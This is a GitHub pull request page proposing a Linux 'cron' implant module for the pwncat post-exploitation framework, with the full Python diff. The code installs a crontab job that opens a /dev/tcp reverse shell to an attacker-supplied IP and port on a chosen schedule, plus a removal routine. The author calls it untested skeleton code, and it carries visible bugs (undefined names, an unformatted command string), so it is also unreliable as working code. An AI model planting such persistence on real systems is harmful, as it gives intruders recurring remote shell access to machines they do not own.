- Notifications
You must be signed in to change notification settings - Fork283
Linux Implant - cron.py#151
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to ourterms of service andprivacy statement. We’ll occasionally send you account related emails.
Already on GitHub?Sign in to your account
Open
montysecurity wants to merge1 commit intocalebstewart:masterChoose a base branch frommontysecurity:master
base:master
Could not load branches
Branch not found:{{ refName }}
Loading
Could not load tags
Nothing to show
Loading
Are you sure you want to change the base?
Some commits from the old base branch may be removed from the timeline, and old review comments may become outdated.
Uh oh!
There was an error while loading.Please reload this page.
Open
Changes fromall commits
Commits
File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Uh oh!
There was an error while loading.Please reload this page.
Jump to
Jump to file
Failed to load files.
Loading
Uh oh!
There was an error while loading.Please reload this page.
Diff view
Diff view
Skeleton code; not tested
- Loading branch information
Uh oh!
There was an error while loading.Please reload this page.
commit8c36c39fff661f09af8a049395c4925b19f562fa
There are no files selected for viewing
88 changes: 88 additions & 0 deletionspwncat/modules/linux/implant/cron.py
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,88 @@ | ||
| #!/usr/bin/env python3 | ||
| from crontab import CronTab #https://pypi.org/project/python-crontab/ | ||
| import getpass # https://stackoverflow.com/questions/842059/is-there-a-portable-way-to-get-the-current-username-in-python#842096 | ||
| import pwncat | ||
| from pwncat.platform.linux import Linux | ||
| from pwncat.modules import Status, Argument, ModuleFailed | ||
| from pwncat.modules.implant import ImplantModule | ||
| class CronImplant(ImplantModule): | ||
| def __init__(self, source, ip, port, schedule): | ||
| super().__init__(source=source) | ||
| self.ip = ip | ||
| self.port = port | ||
| self.schedule = schedule | ||
| def title(self, session: "pwncat.manager.Session"): | ||
| return f"reverse shell connects to [blue]{ip}[/blue]:[cyan]{port}[/cyan] every [red]{schedule}[/red]" | ||
| def description(self, session: "pwncat.manager.Session"): | ||
| """Use current SHELL environment varable and /dev/tcp/ to execute a reverse shell on a cron schedule. Cron takes predetermined options: @reboot, every_minute, hourly, daily, @1337 (daily at 1337)""" | ||
| return None | ||
| def escalate(self, session: "pwncat.manager.Session"): | ||
| # not sure how to incorporate escalte with this implant | ||
| return None | ||
| class Module(ImplantModule): | ||
| """Add reverse shell in crontab for current user.""" | ||
| PLATFORM = [Linux] | ||
| ARGUMENTS = { | ||
| **ImplantModule.ARGUMENTS, | ||
| "ip": Argument(str, help="the IP/domain to call back to"), | ||
| "port": Argument(str, default="4444", help="the port to connect to (default: 4444"), | ||
| "schedule": Argument(str, default="every_minute", help="the cron schedule used (default: every_minute)") | ||
| } | ||
| def install(self, session: "pwncat.manager.Session", ip, port, schedule): | ||
| #testing input | ||
| if schedule not in ["@reboot", "every_minute", "hourly", "daily", "@1337"]: | ||
| raise "Pick from @reboot, every_minute, hourly, daily, or @1337" | ||
| #testing write privileges | ||
| cron = CronTab(user=getpass.getuser()) | ||
| job = cron.new(command='echo hello_world', comment=hash(getpass.getuser())) | ||
| job.minute.every(1) | ||
| try: | ||
| cron.write() | ||
| except (FileNotFoundError, PermissionError) as exc: | ||
| raise ModuleFailed(str(exc)) from exc | ||
| cron.remove_all(comment=hash(getpass.getuser())) | ||
| job = cron.new(command=str(cron.env['SHELL']) + " -i >& /dev/tcp/{ip}/{port} 0>&1", comment=str(hash(getpass.getuser()))) | ||
| # starting out, for proof of concept, use predetermined schedules to pick from | ||
| # cron schedule special cases | ||
| # reboot | ||
| if schedule == "@reboot": | ||
| job.every_reboot() | ||
| # every minute | ||
| elif schedule == "every_minute": | ||
| job.minute.every(1) | ||
| # hourly | ||
| elif schedule == "hourly": | ||
| job.every().hours() | ||
| # daily | ||
| elif schedule == "daily": | ||
| job.every().dows() | ||
| # 1337 | ||
| elif schedule == "@1337": | ||
| job.hour.every(13) | ||
| job.minute.every(37) | ||
| cron.write() | ||
| def remove(self, session: "pwncat.manager.Session"): | ||
| #Use user hash to remove them | ||
| cron = CronTab(user=getpass.getuser()) | ||
| yield Status("removing reverse shell") | ||
| try: | ||
| cron.remove_all(comment=str(hash(getpass.getuser()))) | ||
| except (FileNotFoundError, PermissionError) as exc: | ||
| raise ModuleFailed(str(exc)) from exc |
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.